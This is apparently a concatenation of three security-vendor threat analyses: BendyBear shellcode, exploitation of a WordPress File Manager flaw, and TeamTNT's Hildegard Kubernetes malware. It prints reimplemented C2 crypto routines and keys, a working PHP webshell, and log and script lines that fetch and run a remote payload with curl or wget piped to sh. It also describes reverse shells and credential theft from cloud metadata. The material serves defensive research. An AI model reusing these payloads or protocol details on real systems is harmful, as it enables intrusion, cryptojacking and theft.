If the result is less than 1,000 or greater than 3,300,000 the shellcode configuration (QuickEdit) is 4,000 (0xFA0) otherwise it is the result of the computed value.

Refer to the highlighted light blue value in Figure 2 Shellcode configuration.

This check is performed each and every time the shellcode is executed. One explanation for the use of this key is that the value is written to by the shellcode loader (to a value other than 0 or 1) and it’s used by the shellcode to obtain configuration settings.

It then decrypts its internal configuration structure, which is 1,152 bytes. An example is shown in Figure 2.

BendyBear decrypts its internal configuration structure, which is 1,152 bytes, as shown in the example above. Highlights in various colors help break down the configuration structure: neon green are the keys used for XORing values throughout the shellcode, light blue are the bytes computed from the host's Quick Edit Registry key, orange are the four bytes that represent the shellcode version, pink are the 17 bytes that make up the C2 domain, magenta are the two bytes that make up the target C2 port, light yellow are the resolved function pointers used by the shellcode, dark cyan are the 112 bytes that make up the function pointer sizes used to encrypt or decrypt function blocks, and dark red are the 289 bytes that make up the resolved Windows API functions used by the shellcode.
Figure 2. Shellcode configuration structure.

A breakdown of the configuration structure shown in Figure 2 is below (from top to bottom):

  • Highlighted in neon green are the two, 16-byte keys used for XORing values throughout the shellcode.
    7D 38 BA FD E1 C8 D2 DF B6 EE 33 F9 14 BF 52 96
    71 17 DF E4 AE 3B A9 F2 D5 3D 75 CC D3 0D 57 72
  • Highlighted in light blue are the two bytes computed from the host’s Quick Edit Registry key.
    E8 03
  • Highlighted in orange are the four bytes that represent the shellcode version.
    30 2E 32 34 (0.24)
  • Highlighted in pink are the 17 bytes that make up the C2 domain. Bitwise NOT (unsigned byte) to decode the values including the NULL.
    88 98 CE D1 96 91 94 9A 8C 93 96 89 9A D1 9C 90 92
  • Highlighted in dark green are the 103 bytes that are used for pattern elimination. XOR with 0xFF to NULL values.
    FF FF FF FF FF FF FF FF FF FF FF...
  • Highlighted in magenta are the two bytes that make up the target C2 port.
    BB 01
  • Highlighted in light yellow are the resolved function pointers used by the shellcode.
    92 13 73 33 37 02
  • Highlighted in dark cyan are the 112 bytes that make up the function pointer sizes used to encrypt or decrypt function blocks.
    EE 01
  • Highlighted in dark red are the 289 bytes that make up the resolved Windows API functions used by the shellcode
    A0 2E 52 CC FC 7F 00 00...

Network Communications

Stager communication flow: Stager generates request packet, C2 server calculates pre-session key and challenge response, C2 server returns encrypted chunk payload, stager verifies challenge response and decrypts payload and executes in-memory.
Figure 3. Stager communication flow.

Before communicating with the C2 server, the shellcode flushes the host’s DNS cache by performing the following:

  1. Loads module dnsapi.dll
  2. Calls API DnsFlushResolverCache

When this API is called, all domains resolved are cleared from the host’s DNS cache, not just the target C2 server. This forces the host to resolve the current IP associated with the C2 domain, ensuring that communication continues as network infrastructure becomes compromised or unavailable. It also implies the developers own the domain and can update the IP.

The stager begins by computing 10 bytes of data to send to the C2 server. These 10 bytes make up a challenge request packet. The stager sends the challenge request to the C2 and waits for a challenge response. When received and properly decrypted, the stager checks for magic values or signature bytes at specific offsets. If this check fails, the network connection is aborted. This check ensures trusted communication with the intended C2 server and initiates the download of the payload.

I. Stager Generates Challenge Request Packet

The stager computes a 10-byte challenge request containing information for the C2, to include the size of the data (being the session keys) to be received next. The challenge request and session keys are sent to the C2 simultaneously. Example request:

26BCFCCE738A211F3763

II. C2 Server Decrypts Challenge Request Packet

The C2 decrypts the challenge request packet using the following steps:

1. First byte will be XORed with the second byte, second byte with third byte…until byte 10, followed by:

A. Byte 7 is updated from the result of ( byte 7 XORed with byte 3 ).
B. Byte 2 is updated from the result of ( byte 2 XORed with byte 0 ).
C. Byte 8 is updated from the result of ( byte 8 XORed with byte 0 ).
D. Byte 9 is updated from the result of ( byte 9 XORed with byte 5 ).

2. Final value is XORed with key 0x3FDA5F9AD85D50C77E6A

The challenge request decrypts to the following (represented as hex bytes):

The C2 decrypts the challenge request packet, resulting in the following components: GetTickCount, Fixed Signature, GetTickCount, Fixed Value, GetTickCount, Data Size little Endian.
Figure 4. Decrypted request challenge.

The last four bytes of the decrypted request packet inform the C2 server of the size of the expected network traffic to follow. As shown above, the value is 0x20, or 32 bytes. These 32 bytes make up the session keys used by the C2 server to encrypt a server challenge response and encrypt the payload.

Example of session keys received by the C2 server:

Session key 1--> 8C931D4F764B0661C26D77239EB454CA

Session key 2--> 7A4DD0AA6C3F37CDBDAFA4CBD6B27697

The challenge request packet and session keys are computed for each beacon and therefore would always be unique.

III. C2 Authenticates With the Stager

The C2 uses the session keys to build the RC4 state box and as an XOR key for encryption and decryption.

*It should be noted that the use of session key 2 is not yet fully understood, and it did not appear to be used to communicate with the stager.

1. The pre-session key is computed using session key 1 (first 16 bytes) as follows:
Pre-Session Key = session key 1 XOR
0X6162636465666768696A6B6C6D6E6F00

2. Using the computed pre-session key from step 1, the C2 server builds the RC4 Key Scheduling Algorithm (KSA). It is computed as follows:

a. Build the RC4 KSA using the following inputs to the below function:
data = 16-byte key 0x0C2F65194FF37B2D63D34635C7B205E4
key = 16-byte computed pre-session key from step 1

   Example RC4 (modified) KSA routine:

 def rc4_KSA(data, key):
      x = 0
      box = range(258)
      box[256] = 0
      box[257] = 0
      for i in range(256):
      x = (x + box[i] + ord(key[i % len(key)])) % 256
      box[i], box[x] = box[x], box[i]
      return box

*Note about the input parameter “data” for the KSA routine: It is the XOR result of the two 16-byte keys shown neon green in Figure 2. Shellcode Configuration Structure.

3. Construct 10-byte server challenge response header using the hex values shown in Figure 5.

Server Command Challenge Header consists of: random value (shown in red), fixed signature (green), random value (light blue), command (dark blue), random value (gray), and header size little endian (orange).
Figure 5. Server Command Challenge Header

4. Encrypt server challenge response header from step 3:

a. XOR 10-byte server challenge with key 0x33836E6B3FAA6AC464DA and perform the following:

i. Byte 7 is updated from the result of ( byte 7 XORed with byte 3 ).
ii. Byte 2 is updated from the result of ( byte 2 XORed with byte 0 ).
iii. Byte 8 is updated from the result of ( byte 8 XORed with byte 0 ).
iv. Byte 9 is updated from the result of ( byte 9 XORed with byte 5 ).

b. Encrypted server challenge response header = result of 4(a)

5. Compute final authentication key:

a. XOR the following values:

i. 0x0C2F65194FF37B2D63D34635C7B205E4
ii. Value computed from step 1, i.e. Pre-Session Key

*The 16-byte value in 5.a.i is the same input parameter used in the KSA algorithm in step 2. The stager expects this key from the C2 otherwise the session is aborted.

The values generated in steps 4 and 5 make up the complete server challenge response. At this point, the C2 sends the server challenge response to the stager, completing the authentication process.

IV. C2 Encrypts and Transmits Payload

Next, the C2 prepares to send a command to the stager. BendyBear only supports one type of command: payload download.

1. Build a 10-byte command header using the hex values shown in Figure 6.

Updated Server Command Challenge Header consists of: random value (shown in red), fixed signature (yellow and green), random value (light blue), command (dark blue), random value (gray), and header size little endian (orange).
Figure 6. Updated server command challenge header.

The only change to the header is the fixed signature value from 0x40 to 0x43.

2. Encrypt the command header from step 1:

The following is an example of a RC4 modified routine that can be used. The first argument, box, would be the S-Box computed in step III.2 and the second argument, data, would be the command header from step 1.

def rc4_Mod_Crypt(box, data):
    x = box[256]
    y = box[257]
    c = 0
    out = []
    for char in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        z = ( (box[x] + box[y] )&0xff ) % 256
        al = rol( box[z],4,8 )
        out.append( chr( ord( data[c] ) ^ al ) )
        box[z] = al
        c+=1
    box[256] = x
    box[257] = y
    return ''.join(out)

3. Obtain the size of the payload and encrypt that value using the same RC4 algorithm as in step 2. The size of the payload should be the total decrypted size of the payload.

4. Encrypt and send the payload to the stager in chunks:

a. Read 4,086 bytes from the payload. This is the maximum chunk size that the stager will accept.

b. Build a command header (step 1 above) and update the following fields:

i. Header size = size of payload chunk.

ii. Command = 1.

c. Send the updated 10-byte command header to the stager.

d. Send the encrypted payload chunk.

e. Repeat steps a - d until payload is sent.

Figure 7 shows an example of one payload chunk that is sent to the stager.

Encrypted payload header and data from our investigation of BendyBear. Color code: Purple for Response Header 10 bytes; Light green for Decrypted Payload Size; Gray for Encrypted Payload chunk; and Light Blue for Command Header.
Figure 7. Encrypted payload header and data.

Upon receiving each chunk, the stager strips the command header and decrypts the payload chunk in memory.

Payload In-Memory Loading

Once the payload is fully decrypted, the stager performs some basic checks to ensure that the payload conforms to a Windows executable. It validates the DOS and PE header and that the payload is a DLL. It then direct-memory loads the payload and calls into its entry point (AddressOfEntryPoint). The direct memory load of the payload emulates that of the Windows PE loader – LoadLibrary. As a result, the PEB LDR_DATA_TABLE_ENTRY metadata structures are not created and the PEB for the process running the shellcode has no record of the DLL loading, which can be used to detect rogue modules running on your host. This is visible in WinDbg running the command !address within the process that loaded the shellcode. An example is shown in Figure 8.

The PEB for the process running the BendyBear shellcode has no record of the DLL loading, which can be used to detect rogue modules running on your host. This is visible in WinDbg running the command !address within the process that loaded the shellcode, as shown in the example here.
Figure 8. Artifact of direct in-memory loaded DLL.

In-memory artifacts:

  • Type is MEM_PRIVATE, meaning it is private to the process that loaded it. On Windows platforms, DLLs are typically loaded as MEM_IMAGE so that they can be shared between different processes to save memory space.
  • Protection is PAGE_EXECUTE_READWRITE(RWX), which means the area is writable and executable with a memory area containing an MZ header. The MZ header is the in-memory loaded module.

The output of the WinDbg !address command shown in Figure 8 spots the anomalous entry. The memory address of module 0x7ff4c2450000 was the result of private memory allocation, protection set to RWX and usage containing an MZ header.

x64 Shellcode Behaviors

The following table describes the main behaviors of BendyBear.

Behavior Artifact ATT&CK IDs
Query Registry

HKEY_CURRENT_USER\Console\QuickEdit

T1012: Query Registry
Command and Control T1573.002: Encrypted Channel: Asymmetric Cryptography
Payload transfer from remote host T1105: Ingress Tool Transfer
Payloads in modified RC4-encrypted chunks T1027.002: Obfuscated Files or Information: Software Packing
~65 calls to Windows API kernel32!GetTickCountKernel32 prior to the shellcode connecting to the C2 server. Used to encrypt or decrypt function blocks. T1497.003: Time Based Evasion
Dynamic DLL Importing and API Lookups T1106 Native API
52 iterations of the shellcode obtaining the process environment block (PEB) and checking for IsDebugger flag T1082: System Information Discovery
Eight calls to msvcrt!time prior to connecting to the C2 server
Clearing host’s DNS cache via API DNSAPI!DnsFlushResolverCache
PEB _LDR_DATA_TABLE_ENTRY metadata structures are not created, and the PEB for the process running the shellcode has no record of the DLL loading.
Loaded payload module (DLL) has a type of MEM_PRIVATE

Table 1. x64 shellcode commands executed.

BendyBear vs. WaterBear

Attributes WaterBear BendyBear
File Type EXE/DLL Shellcode
Implant Type Stage-2 Stage-0
Modified RC4
Additional Encryption UNKNOWN Extra XOR Computations
16-Byte XOR keys
Authenticated C2 Communications
Signature Verification Magic Bytes 1F 40

1F 43

1F 40

1F 43

Chunked Payloads
Polymorphic Code
In-Memory Loading
PEB Debugger Check
Pattern Elimination
Encrypt/Decrypt Function Routines
API Hooking
Process Hiding
Network Traffic Filtering

Table 2. Comparison of BendyBear and WaterBear.

File Type – WaterBear is a standalone PE/EXE. BendyBear is a x64 Shellcode that requires loader or code injection.

Implant Type – WaterBear is a stage-2 implant with many capabilities; BendyBear is a stage-0 downloader.

Modified RC4 Encryption – Both WaterBear and BendyBear use a modified RC4, but implement them slightly differently. WaterBear uses a 256 RC4 state box with byte shifting and addition within the key scheduling algorithm. BendyBear uses a 258 RC4 state box and performs XOR within the key scheduling algorithm.

Additional Encryption – While both use encryption as a way to conceal artifacts, BendyBear was found to contain additional XOR encryption steps.

16-Byte XOR Key – Both use the same 16-byte XOR key to create the pre-session key: 0x6162636465666768696A6B6C6D6E6f00

Authenticated C2 Communications – Both send an initial 10-byte challenge request followed by 32-byte session keys.

Signature Verification Magic Bytes – Both use the same matching magic byte verification values.

Chunked Payload – Both expect the payloads to be sent in encrypted chunks.

Polymorphic Code – Both employ code manipulation during runtime execution with random bytes.

In-Memory Loading – Both support the in-memory loading of payloads.

PEB Debugger Check – Both check to see if the code is being debugged.

Pattern Elimination –Both re-encrypt any decrypted strings upon use.

Encrypt/Decrypt Function Routines – Both WaterBear and BendyBear obfuscate runtime function addresses.

API Hooking – Variants of WaterBear implement API hooking, while BendyBear does not.

Process Hiding – Variants of WaterBear can hide processes via API hooking, while BendyBear does not support this capability.

Network Traffic Filtering – Variants of WaterBear can filter or hide network traffic via API hooking, while BendyBear does not support this capability.

Conclusion

The BendyBear shellcode contains advanced features that are not typically found in shellcode. The use of anti-analysis techniques and signature block verification indicate that the developers care about stealth and detection-evasion. Additionally, the use of custom cryptographic routines and byte manipulations suggest a high level of technical sophistication.

Palo Alto Networks customers can be protected from the attacks outlined in this blog in the following ways:

  • The C2 domain used in this shellcode has been categorized as malware in DNS Security, URL Filtering and WildFire, which are security subscriptions for Next-Generation Firewall customers.
  • Cortex XDR can identify and block the shellcode during execution.
  • App-ID, the traffic classification system in Next-Generation Firewalls, is capable of identifying applications irrespective of port, protocol, encryption (SSH or SSL) or any other evasive tactic used by the application. This shellcode attempts to communicate over TCP port 443 with traffic that does not conform to proper SSL or any other known application. As a matter of best practice, we advise customers to block unknown outbound TCP traffic in their security policies.

Indicators of Compromise

Shellcode Samples

x64 - (version 0.24)
64CC899EC85F612270FCFB120A4C80D52D78E68B05CAF1014D2FE06522F1E2D0 wg1.inkeslive[.]com

x86 - (version 0.1)
49901034216a16cfd05c613f438eccee4a7bf6079a7988b3e7094d9498379558 web2008.rutentw[.]com

x86 WaterBear Loaders

The following executables have been identified as loaders/injectors that contain older WaterBear x86 shellcode. The shellcode code is identical to the x86 sample 49901034216.... (version 0.1) listed above.

5d1414b47d88e95ae6612d3fc211c29b35cc5db4a8a992f5e27cff5203ebf44b
9880ba4f93cade2f6bbb4cc8efdcf087e8ac51b5c209ee32ad8134eb87ef70e1
682122f34027e3f8025928d446989b02952449f5e5930c2670f8f789f41573ff
2a09ec2d6edadd06e18c841e0ed794ba3eeb21818476f75ccc0e5d40e08eac80
76ef704d21fbaaceca8a131429ccfb9f5de3d8f43a160ddd281ffeafc391eb98

Additional Resources

Taiwan News – Taiwan urges blocking 11 China-linked phishing domains.
iThome News – The Bureau of Investigation’s recent investigation of several cases of Taiwan Government agencies hacked.
TeamT5 – Evil Hidden in Shellcode: The Evolution of malware DbgPrint.
TrendMicro – WaterBear Returns, Uses API Hooking to Evade Security.
TrendMicro – The Trail of BlackTech’s Cyber Espionage Campaigns.
CryCraft Technology Corp - Taiwan Government Targeted by Multiple Cyberattacks in April 2020 Part 1: Waterbear Malware
JPCERT/CC Eyes - ELF_PLEAD - Linux Malware Used by BlackTech

Appendix

Shellcode Proof of Concept

Mock C2 server serving request to stager and sending a payload (DLL) that displays a message box:

python.exe U42ETHOS_C2.py -l 8080 -p c:\temp\DLLSample.dll

[+] Started U42ETHOS_C2.py ver 1.0.0 waiting for connection on TCP port 8080

[!] Using payload file c:\temp\DLLSample.dll

[!] Received new connection from: ('192.168.163.138', 49918)

[-] Received Encrypted challenge Request Packet--> 40da9a64bf3992d39db6

[-] Decrypted challenge Request packet--> 46401f8c032320000000

[+] Session key 1--> 9816f78b57fff54efb5419202d81a729

[+] Session key 2--> 6ec83a6e4d8bc4e28496cac865878574

[+] Computed PreSessionKey--> f97494ef32999226923e724c40efc829

[+] Challenge command--> a3601149a495d02598b7

[-] Challenge key is--> f55bf1f67d6ae90bf1ed3479875dcdcd

[+] Payload Size is 00920100

[!] Payload sent to stager. Check if executed

Figure 9. Unit 42 mock C2 server.

Example stager in-memory loading test DLL for BendyBear.
Figure 10. Example stager in-memory loading test DLL

Figure 9 is a Python mock C2 server that was created by Unit 42 to interact with the stager. It is configured to listen on TCP port 8080, and the payload is a test DLL that launches calc.exe and displays a message box (Hello, Implant). Figure 10 is a Windows 10 host running the shellcode in memory via a custom loader. The shellcode was configured to communicate with the mock C2 server.

Network Traffic for the Above Payload (truncated):

Figure 11. Network traffic capture example.
Figure 11. Network traffic capture example.

Exploits in the Wild for WordPress File Manager RCE Vulnerability (CVE-2020-25213)

Executive Summary

In December 2020, Unit 42 researchers observed attempts to exploit CVE-2020-25213, which is a file upload vulnerability in the WordPress File Manager plugin. Successful exploitation of this vulnerability allows an attacker to upload an arbitrary file with arbitrary names and extensions, leading to Remote Code Execution (RCE) on the targeted web server.

This exploit was used by attackers to install webshells, which in turn were used to install Kinsing, malware that runs a malicious cryptominer from the H2miner family. Kinsing is based on the Golang programming language, and its ultimate purpose is to be used in cryptojacking attacks on container environments.

Palo Alto Networks customers are protected from CVE-2020-25213 and Kinsing with Cortex XDR, AutoFocus and Next-Generation Firewalls with the WildFire security subscription.

CVE-2020-2513 and Webshells

The vulnerability stems from the fact that the WordPress File Manager plugin renamed the file extension on the elFinder library's connector.minimal.php.dist file to .php so it could be executed directly. Since this file has no access restrictions, it can be executed by anyone browsing the web server. The file contains mechanisms to upload files to the web server without any authentication. Because of this flaw, allowing anyone to upload files, malicious actors started attacking it and uploading webshells, which can be used for further activities such as installing malware or cryptominers.

Observed Attack Chain

Our investigation began with the access log of an attacked machine. What caught our attention was the following HTTP POST request to the web server:

[19/Dec/2020:08:58:08 +0000] "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 200 1453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"

This request was used to upload a webshell. Inspecting the log further, we found the culprit – i.e., the webshell:

[19/Dec/2020:08:57:48 +0000] "GET /wp-content/plugins/wp-file-manager/lib/files/k.php?cmd=curl+X.X.X.X%2Fwpf.sh%7Csh HTTP/1.1" 200 411

As we can see from the above, the webshell was named k.php and was provided a command to execute. The webshell itself is quite simple as it’s stored in plain text on the web server and contains no obfuscation or authentication measures:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Upon further examination of the HTTP GET request that was issued to the webshell k.php, we can see it simply invoked the curl command, downloaded a file named wpf.sh and executed it.

We obtained the shell script from the attacker’s command and control (C2) server. Here is a synopsis of the file:

...

$WGET $DIR/kinsing http://X.X.X.X/kinsing

chmod +x $DIR/kinsing

SKL=wpf $DIR/kinsing

The file wpf.sh is a script that downloads Kinsing using wget, gives it execute permissions and proceeds to execute it.

Conclusion

We observed an exploit in the wild for the WordPress File Manager RCE vulnerability CVE-2020-25213. Attackers used the exploit to install webshells, which in turn were used to install Kinsing, which runs a malicious cryptominer from the H2miner family. The ultimate purpose of Kinsing is to be used in cryptojacking attacks on container environments.

Palo Alto Networks customers are protected from CVE-2020-25213 in the following ways:

  • The Linux Cortex XDR agent blocks this attack. The webshell is detected by the local threat evaluation engine, which is powered by machine learning algorithms.
  • The malware has malicious verdicts in WildFire, a security subscription for the Next-Generation Firewall.
  • The Cortex XDR Behavioral Threat Protection engine prevents both Kinsing and the payload cryptominer.
  • Palo Alto Networks Threat Prevention covers this vulnerability with TID 59286.
  • AutoFocus has an appropriate tag for the miner and Kinsing.

Indicators of Compromise

Kinsing Hashes

6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b

5f1e0e3cc38f7888b89a9adddb745a341c5f65165dadc311ca389789cc9c6889

Cryptominer Hash (H2miner)

dd603db3e2c0800d5eaa262b6b8553c68deaa486b545d4965df5dc43217cc839

Shell Script Hash

a68ab806c8e111e98ba46d5bfdabd9091a68839dd39dfe81e887361bd4994a62

Webshell Hash

f1c5bed9560a1afe9d5575e923e480e7e8030e10bc3d7c0d842b1a64f49f8794

 

Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes

Executive Summary

In January 2021, Unit 42 researchers detected a new malware campaign targeting Kubernetes clusters. The attackers gained initial access via a misconfigured kubelet that allowed anonymous access. Once getting a foothold into a Kubernetes cluster, the malware attempted to spread over as many containers as possible and eventually launched cryptojacking operations. Based on the tactics, techniques and procedures (TTP) that the attackers used, we believe this is a new campaign from TeamTNT. We refer to this new malware as Hildegard, the username of the tmate account that the malware used.

TeamTNT is known for exploiting unsecured Docker daemons and deploying malicious container images, as documented in previous research (Cetus, Black-T and TeamTNT DDoS). However, this is the first time we found TeamTNT targeting Kubernetes environments. In addition to the same tools and domains identified in TeamTNT's previous campaigns, this new malware carries multiple new capabilities that make it more stealthy and persistent. In particular, we found that TeamTNT’s Hildegard malware:

  • Uses two ways to establish command and control (C2) connections: a tmate reverse shell and an Internet Relay Chat (IRC) channel.
  • Uses a known Linux process name (bioset) to disguise the malicious process.
  • Uses a library injection technique based on LD_PRELOAD to hide the malicious processes.
  • Encrypts the malicious payload inside a binary to make automated static analysis more difficult.

We believe that this new malware campaign is still under development due to its seemingly incomplete codebase and infrastructure. At the time of writing, most of Hildegard's infrastructure has been online for only a month. The C2 domain borg[.]wtf was registered on Dec. 24, 2020, the IRC server went online on Jan. 9, 2021, and some malicious scripts have been updated frequently. The malware campaign has ~25.05 KH/s hashing power, and there is 11 XMR (~$1,500) in the wallet.

There has not been any activity since our initial detection, which indicates the threat campaign may still be in the reconnaissance and weaponization stage. However, knowing this malware's capabilities and target environments, we have good reason to believe that the group will soon launch a larger-scale attack. The malware can leverage the abundant computing resources in Kubernetes environments for cryptojacking and potentially exfiltrate sensitive data from tens to thousands of applications running in the clusters.

Palo Alto Networks customers running Prisma Cloud are protected from this threat by the Runtime Protection feature, Cryptominer Detection feature and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives.

The figure shows the attacker's movements through a Kubernetes Cluster divided into nodes A, B and C. It shows the progression from attacking to the use of tmate to the use of an IRC C2 server.
Figure 1. Attacker and malware’s movement.

Tactics, Techniques and Procedures

Figure 1 illustrates how the attacker entered, moved laterally and eventually performed cryptojacking in multiple containers.

  1. The attacker started by exploiting an unsecured Kubelet on the internet and searched for containers running inside the Kubernetes nodes. After finding container 1 in Node A, the attacker attempted to perform remote code execution (RCE) in container 1.
  2. The attacker downloaded tmate and issued a command to run it and establish a reverse shell to tmate.io from container 1. The attacker then continued the attack with this tmate session.
  3. From container 1, the attacker used masscan to scan Kubernetes's internal network and found unsecured Kubelets in Node B and Node C. The attacker then attempted to deploy a malicious crypto mining script (xmr.sh) to containers managed by these Kubelets (containers 2-7).
  4. Containers that ran xmr.sh started an xmrig process and established an IRC channel back to the IRC C2.
  5. The attacker could also create another tmate session from one of the containers (container 4). With the reverse shell, the attacker could perform more manual reconnaissance and operations.

The indicators of compromise (IOCs) found in each container are listed below. These files are either shell script or Executable Linkable Format (ELF). The IOC section at the end of the blog contains the hash and details of each file.

  • Container 1: TDGG was dropped and executed via Kubelet. TDGG then subsequently downloaded and executed tt.sh, api.key and tmate. The attacker used the established tmate connection to drop and run sGAU.sh, kshell, install_monerod.bash, setup_moneroocean_miner.sh and xmrig (MoneroOcean).
  • Container 2-7: xmr.sh was dropped and executed via Kubelet.
  • Container 4: The attacker also established a tmate session in this container. The attacker then dropped and executed pei.sh, pei64/32, xmr3.assi, aws2.sh, t.sh, tmate,x86_64.so, xmrig and xmrig.so.

Figure 2 maps the malware campaign's TTP to MITRE ATT&CK tactics. The following sections will detail the techniques used in each stage.

This details the Hildegard malware campaign's tactics, techniques and procedures, mapped to MITRE ATT&CK tactics including initial access, execution, privilege escalation, defense evasion, credential access, discovery, lateral movement, command and control and impact.
Figure 2. Attacker’s tactics, techniques and procedures.

Initial Access

kubelet is an agent running on each Kubernetes node. It takes RESTful requests from various components (mainly kube-apiserver) and performs pod-level operations. Depending on the configuration, kubelet may or may not accept unauthenticated requests. Standard Kubernetes deployments come with anonymous access to kubelet by default. However, most managed Kubernetes services such as Azure Kubernetes Service (AKS), Google Kubernetes Engine (GKE) and Kubernetes operations (Kops) all enforce proper authentication by default.

We discovered that TeamTNT gained initial access with the Hildegard malware by executing commands on kubelets that allow anonymous access. This was achieved by accessing the kubelet’s run command API and executing commands on running containers.

Execution

Hildegard uses kubelet’s API to execute commands inside containers. The initial commands create a tmate reverse shell that allows the attacker to carry out the subsequent operation. Unlike the techniques that TeamTNT used in the past, this malware campaign did not pull or run any new container image.

Privilege Escalation

Although Unit 42 researchers have not observed an attempt to perform privilege escalation, the malware dropped two adversarial tools, Peirates and BOtB, which are capable of breaking out of containers via known vulnerabilities or accessing cloud resources via exposed cloud credentials.

Container Breakout

BOtB can perform a container breakout using a known vulnerability such as CVE-2019-5736. It can also escape from privileged containers that have enabled CAPS and SYSCALLS.

Access to Cloud Resources

Peirates can gather multiple infrastructures and cloud credentials. It looks for identity and access management (IAM) credentials from cloud metadata services and service account tokens from the Kubernetes clusters. With the identified credentials, it then further attempts to move laterally or gain control of the cluster. While we observed Peirates in use, the container it was executed in had no credentials.

Defense Evasion

Library Injection

Hildegard uses LD_PRELOAD to hide the malicious process launched inside the containers. The malware modified the /etc/ld.so.preload file to intercept shared libraries’ imported functions. In particular, the malware overwrites two functions: readdir() and readdir64(), which are responsible for returning the directory entries in the file system. The overwritten functions filter out queries made to directory entries under /proc. The functions then drop queries with keywords such as tmate, xmrig and ziggy. This way, when applications try to identify the running processes (by reading files under /proc) in the containers, tmate, xmrig and ziggy will not be found. Linux tools such as ps, top and many other container monitoring tools will be blinded from these malicious processes.

The screenshot shows the function that Hildegard uses to overwrite readdir64() in X86_64.so
Figure 3. Function that overwrites readdir64() in X86_64.so.

Encrypted ELF Binary

Hildegard deploys an IRC agent built from the open-source project ziggystartux. To avoid being detected by automated static analysis tools, the ziggystartux ELF is encrypted and packed in another binary (ziggy). When the binary is executed, the ziggystartux ELF is decrypted by a hardcoded Advanced Encryption Standard (AES) key and executed in memory.

Hildegard deploys an IRC agent built from the open-source project ziggystartux. To avoid being detected by automated static analysis tools, the ziggystartux ELF is encrypted and packed in another binary (ziggy).
Figure 4. Unpacking and executing the payload.

Disguised Process Name

The malware names the IRC process “bioset”, which is the name of a well-known Linux kernel process bioset. If one is only looking at the names of the running processes on a host, one can easily overlook this disguised process.

DNS Monitoring Bypass
The malware modifies the system DNS resolvers and uses Google’s public DNS servers to avoid being detected by DNS monitoring tools.

Hildegard modifies the system DNS resolvers and uses Google’s public DNS servers to avoid being detected by DNS monitoring tools.
Figure 5. DNS resolver modification.

Delete Files and Clear Shell History

All the scripts are deleted immediately after being executed. TeamTNT also uses the “history -c” command to clear the shell log in every script.

TeamTNT also uses the “history -c” command to clear the shell log in every script.
Figure 6. The script clears the history and deletes itself.

Credential Access

Hildegard searches for credential files on the host, as well as queries metadata for cloud-specific credentials. The identified credentials are sent back to the C2.

The searched credentials include:

  • Cloud access keys.
  • Cloud access tokens.
  • SSH keys.
  • Docker credentials.
  • Kubernetes service tokens.

The metadata servers searched:

  • 169.254.169.254
  • 169.254.170.2
Hildegard searches for credential files on the host, as well as queries metadata for cloud-specific credentials.
Figure 7. The script looks for credentials.

Discovery

Hildegard performs several reconnaissance operations to explore the environment.

  • It gathers and sends back the host’s OS, CPU and memory information.
  • It uses masscan to search for kubelets in Kubernetes’ internal network.
  • It uses kubelet’s API to search for running containers in a particular node.
Hildegard performs several reconnaissance operations to explore the environment, as shown here.
Figure 8. The script looks for system and network information.

Lateral Movement

Hildegard mainly uses the unsecured kubelet to move laterally inside a Kubernetes cluster. During the discovery stage, the malware finds the exploitable kubelets and the containers these kubelets manage. The malware then creates C2 channels (tmate or IRC) and deploys malicious crypto miners in these containers. Although not observed by Unit 42 researchers, the attacker may also move laterally with the stolen credentials.

Command and Control

Once gaining the initial foothold into a container, Hildegard establishes either a tmate session or an IRC channel back to the C2. It is unclear how TeamTNT chooses and tasks between these two C2 channels, as both can serve the same purpose. At the time of writing, tmate sessions are the only way the attacker interacts with the compromised containers. Unit 42 researchers have not observed any commands in the IRC channel. However, the IRC server's metadata indicates that the server was deployed on Jan. 9, 2021, and there are around 220 clients currently connected to the server.

Once gaining an initial foothold into a container, the malware may establish a tmate session.
Figure 9. Tmate named session created by the malware.
Once gaining an initial foothold into a container, the malware may establish an IRC channel back to the C2. The IRC servers are hardcoded in the ziggy binary.
Figure 10. The IRC servers are hardcoded in the ziggy binary.
The screenshot shows the IRC traffic captured at the IRC client. The IRC server's metadata indicates that the server was deployed on Jan. 9, 2021, and there are around 220 clients currently connected to the server.
Figure 11.The IRC traffic captured at the IRC client.

Impact

The most significant impact of the malware is resource hijacking and denial of service (DoS). The cryptojacking operation can quickly drain the entire system’s resources and disrupt every application in the cluster. The xmrig mining process joins the supportxmr mining pool using the wallet address 428uyvSqdpVZL7HHgpj2T5SpasCcoHZNTTzE3Lz2H5ZkiMzqayy19sYDcBGDCjoWbTfLBnc3tc9rG4Y8gXQ8fJiP5tqeBda. At the time of writing, the malware campaign has ~25.05 KH/s hashing power and there is 11 XMR (~$1,500) in the wallet.

At the time of writing, the Hildegard malware campaign has ~25.05 KH/s hashing power and there is 11 XMR (~$1,500) in the wallet.
Figure 12. Mining activity on supportxmr.

Conclusion

Unlike a Docker engine that runs on a single host, a Kubernetes cluster typically contains more than one host and every host can run multiple containers. Given the abundant resources in a Kubernetes infrastructure, a hijacked Kubernetes cluster can be more profitable than a hijacked Docker host. This new TeamTNT malware campaign is one of the most complicated attacks targeting Kubernetes. This is also the most feature-rich malware we have seen from TeamTNT so far. In particular, the threat actor has developed more sophisticated tactics for initial access, execution, defense evasion and C2. These efforts make the malware more stealthy and persistent. Although the malware is still under development and the campaign is not yet widely spread, we believe the attacker will soon mature the tools and start a large-scale deployment.

Palo Alto Networks customers running Prisma Cloud are protected from this threat by the Runtime Protection features, Cryptominer Detection and by the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives.

Palo Alto Networks customers running Prisma Cloud are protected from this threat by the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives.
Figure 13. Prisma Cloud Compute Kubernetes compliance protections.
Prisma Cloud also protects against Hildegard through its Cryptominer Detection feature. The screenshot shows an example of the software alerting on a crypto mining incident.
Figure 14. Prisma Cloud Compute alerting on crypto mining incident.

Indicators of Compromise

